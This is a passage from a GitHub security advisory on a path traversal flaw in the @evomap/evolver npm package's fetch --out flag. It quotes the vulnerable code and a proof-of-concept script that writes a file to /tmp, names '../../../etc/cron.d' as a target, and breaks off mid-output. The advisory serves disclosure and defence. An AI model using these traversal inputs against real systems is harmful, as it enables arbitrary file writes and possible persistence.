GitHub Security Advisory: GHSA-r466-rxw4-3j9j
Package: @evomap/evolver (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.69.3
Patched in: 1.69.3

Summary: Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write

Details:
### Summary
A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.

### Details
The vulnerability exists in `index.js` at lines 752-767:

```javascript
// index.js:751-768
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');

// VULNERABLE: No path validation on user input
const outDir = outFlag
  ? outFlag.slice('--out='.length)  // User-controlled path
  : path.join('.', 'skills', safeId);

if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });

// ... downloads skill files to outDir
```

The `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.

Note: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\-\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.

### PoC

**Prerequisites:**
- Node.js installed
- Access to the evolver application

**Steps to reproduce:**

1. Create a test file demonstrating the vulnerability:

```javascript
// test-file-write.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable fetchSkill logic
function vulnerableFetchSkill(outFlag) {
  const outDir = outFlag
    ? outFlag.slice('--out='.length)  // No validation!
    : path.join('.', 'skills', 'default');
  
  console.log('Target directory:', outDir);
  console.log('Resolved path:', path.resolve(outDir));
  
  // In real code, this would write skill files
  const targetFile = path.join(outDir, 'skill.js');
  console.log('Would write to:', targetFile);
  
  return { outDir, targetFile };
}

// Test cases
console.log('=== Test 1: Normal path ===');
vulnerableFetchSkill('--out=./my-skills/test');

console.log('\n=== Test 2: Path traversal ===');
const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');

// Actually demonstrate the vulnerability
console.log('\n=== Creating directory to prove traversal works ===');
try {
  if (!fs.existsSync(result.outDir)) {
    fs.mkdirSync(result.outDir, { recursive: true });
  }
  fs.writeFileSync(
    path.join(result.outDir, 'poc.txt'),
    'Path traversal successful!\nThis file was written outside the intended directory.'
  );
  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));
} catch (e) {
  console.log('Error:', e.message);
}
```

2. Run the test:
```bash
node test-file-write.js
```

**Expected output:**
```
=== Test 2: Path traversal ===
Target directory: ../../../tmp/evolver-test
Resolved path: /tmp/evolver-test
Would writ